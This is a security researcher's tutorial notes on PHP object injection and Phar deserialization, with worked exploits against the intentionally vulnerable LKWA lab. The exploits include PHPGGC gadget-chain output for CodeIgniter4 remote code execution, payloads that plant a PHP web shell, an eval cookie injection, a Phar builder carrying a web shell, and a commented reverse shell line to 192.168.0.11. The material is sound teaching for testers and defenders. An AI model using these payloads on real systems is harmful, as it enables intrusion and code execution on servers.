Notes I’ve written and Collected about PHP Deserialization

Introduction

serialize and unserialize

Serialization functions are commonly used within software to store data to a file, a memory buffer, or transmitted across to another network which can then be deserialized at a later date. Within PHP, The serialize() function can be used to convert a value to an serialized object. This function can be used to convert a value/object to a serialized value. An example of this can be seen below:

<?php
class Test
{
    public $name = "Snoopy";
    public $age = 0.1;
    public $secret = 0;
    public $hobbies = array("bughunting", "softwaresecurity");
    public $bug_hunter = True;
}

$object = new Test();
$serialized = serialize($object);
echo $serialized;
?>

The serialized form of the above object can be seen as

O:4:"Test":5:{s:4:"name";s:6:"Snoopy";s:3:"age";d:0.1;s:6:"secret";i:0;s:7:"hobbies";a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}s:10:"bug_hunter";b:1;}

This structure can be understood as:

  • O:Length of Object name :”Class Name”:Number of Properties in Class:{Properties} - O:4:"Test":5
  • { data } - Denotes the data structure of the object with the 5 properties - $name, $age, $secret, $hobbies, $bug_hunter
  • s:Length of the String:”String Value”; - s:4:"name";s:6:"Snoopy";
  • d:Float; - s:3:”age”;d:0.1;`
  • i:Integer; - s:6:"secret";i:0;
  • a:Number of Elements:{Elements} - a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}
  • b:boolean; - s:10:"bug_hunter";b:1;

This can be converted back to an object from using the unserialize() function. unserialize has two parameters:

unserialize ( string $data , array $options = [] ) : mixed
  • The $data parameter takes a serialized string that can be deserialized
  • The $options array can be used to specify allowed_classes. allowed_classes can be used to whitelist class names that should be accepted. If this is used and unserialize() encounters an object of a class that isn’t to be accepted, then the object will be instantiated as a __PHP_Incomplete_Class instead.
<?php

$object = 'O:4:"Test":5:{s:4:"name";s:6:"Snoopy";s:3:"age";d:0.1;s:6:"secret";i:0;s:7:"hobbies";a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}s:10:"bug_hunter";b:1;}';
$unserialized = unserialize(var_dump($object));
echo $unserialized;
?>

During deserialization, unserialize will take the user input, this input will have some objects along with the class and the properties of that object, and will create an instance of the provided class and object in memory (Object Instantiation) and creates a copy of the originally serialized object. As per PHP documentation, after successfully reconstructing the object, PHP will automatically attempt to call the the __wakeup() magic method as well (if one exists) and execute code in that function if it is defined for the class. This function can reconstruct any resources that the object may have. The intended use of __wakeup() is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. Once this is done, then the __destruct() magic method of that class will be called to when no reference to the deserialized object instance exists.

serialize() will save all properties in the object and the class the object belongs to during serialization but no methods of the class of the object will be stored. As such, when unserialize is triggered, the class of the object will have to be defined in advance in code (definition of the class needs to be present in the file unserialize() is called in), or through autoloading. If the class is not already defined in the file, the object will be instantiated as __PHP_Incomplete_Class, which has no methods.

Object Injection

PHP Object Injection/Unserialization happens when untrusted user input is being executed by the unserialize function which can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.

This was initially made public by Stefan Esser

  • https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf
  • https://owasp.org/www-pdf-archive/POC2009-ShockingNewsInPHPExploitation.pdf
  • https://wiki.php.net/rfc/secure_unserialize

Requirements for a Successful Exploit

  • PHP Magic Methods - The codebase/application being exploited needs to have interesting magic methods that can then be triggered through a POP chain.
  • The POP gadget chain/object being called must be declared during when unserialize is being called ( include() or require()) or object autoloading (through composer (require DIR . '/vendor/autoload.php';) or generic autoloading) must be supported for the target classes when unserialize() is being executed

PHP Magic Methods

PHP Magic Methods are PHP classes that have magical properties in PHP. You cannot have functions with these names in any of your classes unless you want the magic functionality associated with them. More about this can be read from here: PHP Magic Methods Documentation. During exploitation, these magic methods can be invoked by crafting a PHP POP gadget. This is because these methods are executed automatically when unserialize() is called on an object.

Magic Methods most useful for exploitation

  • __toString() - Invoked when object is converted to a string. (by echo for example)
  • __destruct() - Invoked when an object is deleted. When no reference to the deserialized object instance exists, __destruct() is called.
  • __wakeup() - Invoked when an object is unserialized. automatically called upon object deserialization.
  • __call() - will be called if the object will ca1ll an inexistent function

Magic Methods that could be useful for exploitation (Not useful in Most Cases)

  • __set() - called if the object try to access inexistent class variables
  • __isset()
  • __invoke()
  • __unset()
  • __set_state()
  • __callStatic()
  • __sleep() - called when an object is serialized (with serialize)
  • __clone()
  • __get() - called if the object try to access inexistent class variables
  • __debugInfo()
  • __construct() - Invoked when an object is created (constructor)

PHPGCC

PHPGGC is a library of unserialize() payloads along with a command-line program. This can be used to generate POP gadgets from known libraries people have already found. PHPGGC supports gadget chains such as CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, WordPress, Yii, and ZendFramework.

  • List all gadgets
./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                        TYPE             VECTOR         I    
CodeIgniter4/RCE1                         4.0.0-beta.1 <= 4.0.0-rc.4     rce              __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+           rce              __destruct          
Doctrine/FW1                              ?                              file_write       __toString     *    
Drupal7/FD1                               7.0 < ?                        file_delete      __destruct     *    
Drupal7/RCE1                              7.0.8 < ?                      rce              __destruct     *  
  • Create a POP gadget using the __destruct vector known in versions 4.0.0-rc.4 <= 4.0.4+. Run the system command id using PHP’s system function.
     

./phpggc CodeIgniter4/RCE2 system id


O:39:"CodeIgniter\Cache\Handlers\RedisHandler":1:{s:8:"*redis";O:45:"CodeIgniter\Session\Handlers\MemcachedHandler":2:{s:12:"*memcached";O:17:"CodeIgniter\Model":8:{s:10:"*builder";O:32:"CodeIgniter\Database\BaseBuilder":2:{s:6:"QBFrom";a:1:{i:0;s:2:"()";}s:2:"db";O:38:"CodeIgniter\Database\MySQLi\Connection":0:{}}s:13:"*primaryKey";N;s:15:"*beforeDelete";a:1:{i:0;s:8:"validate";}s:18:"*validationRules";a:1:{s:4:"id.x";a:1:{s:5:"rules";a:2:{i:0;s:6:"system";i:1;s:2:"dd";}}}s:13:"*validation";O:33:"CodeIgniter\Validation\Validation":1:{s:15:"*ruleSetFiles";a:1:{i:0;s:5:"finfo";}}s:21:"*tempAllowCallbacks";i:1;s:2:"db";O:38:"CodeIgniter\Database\MySQLi\Connection":0:{}s:20:"cleanValidationRules";b:0;}s:10:"*lockKey";a:1:{s:1:"x";s:2:"id";}}}

Hunting For POP Gadgets

Examples of interesting functionalities to look for within Magic Methods:

  • Arbritary File Write - @unlink($fileobject), file_put_contents($this->file)
  • Code Execution - eval($this->injectobject);
  • Type Juggling - if ($username == $adminName && $password == $adminPassword) { ( loose comparison operator “==”,∂ user input taken as arrays and type conversion occurs )
  • Authentication Bypass through Object reference - if (isset($this->obj)) return $this->obj->getValue();, ($obj->check === $obj->secrethash) {echo "Pass";
  • SQL Injection - $sql = "SELECT * FROM table WHERE id = " . $id;

Other Dangerous functions that might be useful to look for:

  • Dangerous PHP Functions - https://gist.github.com/snoopysecurity/7afd189724bc02a14a7f89d9a8284b69
  • DangerousPHPFunctions - https://github.com/v-p-b/DangerousPHPFunctions

When checking projects, git clone and execute composer install to install all dependencies, this can then be reviewed for useful POP gadget.

Example (https://github.com/weev3/LKWA) Object Injection

The following request is submitted by the application http://lkwa.local:3000/objectInjection/content.php

GET /objectInjection/content.php?object=O:8:%22stdClass%22:2:{s:4:%22data%22;s:9:%22Hey%20Dude!%22;s:4:%22text%22;s:26:%22upload%20shell%20if%20you%20can!!!%22;} HTTP/1.1
Host: lkwa.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://lkwa.local:3000/objectInjection/content.php
Upgrade-Insecure-Requests: 1

The following code is used server-side to unserialize the object.

https://github.com/weev3/LKWA/blob/master/objectInjection/content.php#L40

if(isset($_REQUEST['object'])){  
$var1=unserialize($_REQUEST['object']);
echo "<br>";
echo($var1->data); 
echo "<br>";
echo($var1->text);
}

Within content.php, the following file is also included:

include("obj_injection.php");

obj_injection.php contains the following code.

// https://github.com/weev3/LKWA/blob/master/objectInjection/content.php#L3


<?php


class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename . ".txt";
        $this->data = $data;
    }
    function __destruct(){
        file_put_contents($this->filename, $this->data);
    }
}
?>

This can be exploited using a payload such as:

<?php

 class Foo{
    public $filename;
    public $data;

}

$obj = new Foo();
$obj->filename = '/var/www/html/shell.php';
$obj->data =  "<?php echo shell_exec(\$_GET['e'].' 2>&1'); ?>";
 
echo serialize($obj);
 
?>

Serialized Payload:

O:3:"Foo":2:{s:8:"filename";s:23:"/var/www/html/shell.php";s:4:"data";s:45:"<?php echo shell_exec($_GET['e'].' 2>&1'); ?>";}

Example (https://github.com/weev3/LKWA) Object Injection Cookie

When the admin logs in the following cookie are set by the application:

O:8:"stdClass":1:{s:4:"user";s:5:"admin";}

This is then unserialized:

//https://github.com/weev3/LKWA/blob/master/objectInjection_cookie/content.php#L43

if(isset($_COOKIE['username']))
{

  $var = unserialize($_COOKIE['username']);
  echo "<br> Welcome ".$var->user;
}

Content.php also includes obj_injection.php (include("obj_injection.php");) which has the following code:

//http://lkwa.local:3000/objectInjection_cookie/content.php


<?php

/**
 * Object Injection via Cookie
 */
class Foo{
	public $cmd;
    function __construct() {
    }
    function __destruct(){
        eval($this->cmd);
    }
}

?>

This can be exploited using the following payload

<?php
 

 class Foo{
    public $cmd;

}
///bin/bash -i >& /dev/tcp/192.168.0.11/1234 0>&1
$obj = new Foo();
$obj->cmd =  "system('uname -a');";

echo serialize($obj);
 
?>

which generates the following serialized payload

O:3:"Foo":1:{s:3:"cmd";s:19:"system('uname -a');";}

This can now be set as a cookie and can be sent to the page to execute uname -a on the local system.

Example (https://github.com/weev3/LKWA) Object Injection Reference

A serialized payload sent from a user request is deserialized as follows:

//https://github.com/weev3/LKWA/blob/master/objectref/objectref.php
                  if (isset($_POST['guess'])) {
                    // code...
                    $obj = unserialize($_POST['input']);
                    if($obj) {
                        $obj->guess = $_POST['guess'];
                        $obj->secretCode = rand(500000,999999);
                        if($obj->guess === $obj->secretCode) {
                            echo "<p class='text-success'>You Win !!!!!</p>";
                        }
                        else{
                        	echo "<p class='text-danger'>Loser!!!!</p>";
                        }

This check can be bypassed by calling both objects and referencing each other.

<?php
 

 class Object1
 {
   public $guess;
   public $secretCode;
 }
 
$obj = new Object1();
$obj->guess =  &$obj->secretCode;
echo serialize($obj);
 
?>

Payload:

O:7:"Object1":2:{s:5:"guess";N;s:10:"secretCode";R:2;}

The following request can now be sent



POST /objectref/objectref.php HTTP/1.1
Host: lkwa.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://lkwa.local:3000
Connection: close
Referer: http://lkwa.local:3000/objectref/objectref.php
Cookie: PHPSESSID=741de8227f5dedc8918a2018980d0819; username=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3B%7D
Upgrade-Insecure-Requests: 1

guess=ss&input=%4f%3a%37%3a%22%4f%62%6a%65%63%74%31%22%3a%32%3a%7b%73%3a%35%3a%22%67%75%65%73%73%22%3b%4e%3b%73%3a%31%30%3a%22%73%65%63%72%65%74%43%6f%64%65%22%3b%52%3a%32%3b%7d

Real World Vulnerabilities

Useful Notes

  • Leading zeroes & Arbitrary Chars can be used which won’t change logic: O:008:”stdClass”:0001**s:006:”bypass”;b:1;}
  • One way to find PHP deserialization black box is to provide a serialized PDO object to injection points. This will usually end in an error 500 response which is an indication of PHP deserialization. The php-object-injection-check burp extension can be used to automate this: https://github.com/securifybv/PHPUnserializeCheck
  • https://github.com/ricardojba/poi-slinger burp extension can be used to quickly create out of band payloads from PHPGGC during testing.

How to Patch

Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.

References/Further Reading

  • https://notsosecure.com/remote-code-execution-via-php-unserialize/
  • https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
  • https://www.pentestpeople.com/php-deserialisation-object-injection/
  • https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
  • https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf
  • https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution.html
  • https://web.archive.org/web/20150317142538/https://scott.arciszewski.me/research/view/php-framework-timing-attacks-object-injection
  • https://blog.redteam-pentesting.de/2021/deserialization-gadget-chain/
  • https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/README.md#babyh-master-php-2017
  • https://github.com/TYPO3/phar-stream-wrapper
  • https://srcincite.io/blog/2018/10/02/old-school-pwning-with-new-school-tricks-vanilla-forums-remote-code-execution.html
  • https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing

Phar File Format

Phar (PHP Archive) files can be used to package PHP applications and PHP libraries into one archive file. The PHAR format in PHP uses single file format which can be used to store and execute multiple PHP code. Phar files contain metadata about the files in the archive. In a phar file, metadata is stored in a serialized format

A structure of a PHAR file is as follow

  • A stub – which is a PHP code sequence acting as a bootstrapper when the Phar is being run as a standalone application; as a minimum, it must contain the following code:

<?php __HALT_COMPILER();

  • A manifest describing a source file included in the archive; optionally, holds serialized meta-data (this serialized chunk is a critical link in the exploitation chain as we will see further on)
  • A source file (the actual Phar functionality)
  • An optional signature, used for integrity checks

Phar files can be called using the following URI: zphar://full/or/relative/pathz. Furthermore, a phar file extension doesn’t get checked when declaring a stream, making phar files veritable polyglot candidates. If a filesystem function is called with a phar stream as an argument, the Phar’s serialized metadata automatically gets unserialized, by design. More about the PHP Phar format can be seen here: https://www.php.net/manual/en/book.phar.php

Phar Deserialization

Discovered by Sam Thomas and initially discovered by Orange Tsai (Separately), if a file operation is performed on a phar file via the phar:// wrapper, the phar file’s metadata would be unserialized. As such an attacker could perform PHP object injection without the use of the unserialize() function by uploading a phar file.

Sam Thomas’s work can be seen below:

Requirements for a Successful Phar Deserialization

  • A PHP filesystem function that can be controlled which will trigger unserialize()
  • The ability to upload a PHAR file to the target system and the path of this file to be known

The following file system functions can triggerunserialize() by providing a phar:// wrapper

copy                file_exists         file_get_contents   file_put_contents   
file                fileatime           filectime           filegroup           
fileinode           filemtime           fileowner           fileperms           
filesize            filetype            fopen               is_dir              
is_executable       is_file             is_link             is_readable         
is_writable         lstat               mkdir               parse_ini_file      
readfile            rename              rmdir               stat                
touch               unlink  

Note: Just like normal object injection, PHP Magic Methods and autoloading/include of the POP gadget to trigger is still needed.

Example (https://github.com/weev3/LKWA) Phar Deserialization

An upload functionality exists in upload.php

<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    if($imageFileType !== "PHAR") {
        $uploadOk = 1;
    } else {
        echo "File is not a PHAR file.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "phar") {
    echo "Sorry, only PHAR file is allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

https://github.com/weev3/LKWA/blob/master/phar_deserial/upload.php

This above code checks if a given upload is a phar file, the file_exists function is also used to see if the file has already been uploaded. Aftr the checks, the file is uploaded. This functionality can be used to upload a PHAR file.

Within phar_deserial.php, the following code can be seen:

include("sidebar.php");

class log
{
	public $filename="log.txt";
	public $data="log";
    function __wakeup(){
        file_put_contents($this->filename, $this->data);
    }
}

if (file_exists($_GET['file'])) {
 $var = new log();
}

https://github.com/weev3/LKWA/blob/master/phar_deserial/phar_deserial.php

Since the file_exists($_GET[‘file’] function is used with a user provided input. It is possible to set the value of the input to the previously uploaded Phar file. Example: phar://../uploads/phar_file.phar. The PHP application will perform a filesystem call on the provided wrapper, such as verifying if the file exists on the disk by calling file_exists(“phar://../uploads/phar_file.phar”). and the Phar’s metadata will be unserialized, taking advantage of the gadgets/POP chains to complete the exploitation chain. In this instance, the __wakeup magic method can be leveraged for code execution by writing some PHP code and calling it.

The following code can be used to create a PHAR file

<?php
class log
{
    
    function __wakeup(){
    }
}

$payload = new log();
$payload->filename = 'shell.php5';
$payload->data = "<?php echo shell_exec(\$_GET['e'].' 2>&1'); ?>";
var_dump($payload);

// create new Phar
@unlink("payload.phar");
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
//set payload
$phar->setMetadata($payload);
$phar->stopBuffering();
?>

This phar file can be uploaded using upload.php.

This payload.phar can be called through the phar_deserial.php file.

GET /phar_deserial/phar_deserial.php?file=phar%3a%2f%2fpharfile.phar HTTP/1.1
Host: lkwa.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: username=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3B%7D
Upgrade-Insecure-Requests: 1

To test if things are working locally, you can testing using a code such as

?php

class log
{
	public $filename="log.txt";
	public $data="log";
    function __wakeup(){
        file_put_contents($this->filename, $this->data);
    }
}

// output: rips
include('phar://payload.phar');


?>

Phar Deserialization Real World Vulnerabilities

Useful Notes

  • Inclusion of the Phar file for deserialization can be local or remote
  • If a file upload functionality only allows jpg, you can use a phar-jpg polyglot: https://github.com/kunte0/phar-jpg-polyglot
  • If you are trying to leverage a __destruct magic method as part of your POP chain and the if destructor is never called, you can use “fast destruct method” in PHPGGC to make sure it’s called right after the unserialize. The -f option with PHPGGC will place your popchain in an array and overwrite its entry with another value, losing the only reference to your instance.

References

  • https://blog.ripstech.com/2018/new-php-exploitation-technique/
  • https://www.drupal.org/sa-core-2020-013
  • https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
  • https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066
  • https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It’s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
  • https://blog.certimetergroup.com/it/articolo/security/polyglot_phar_deserialization_to_rce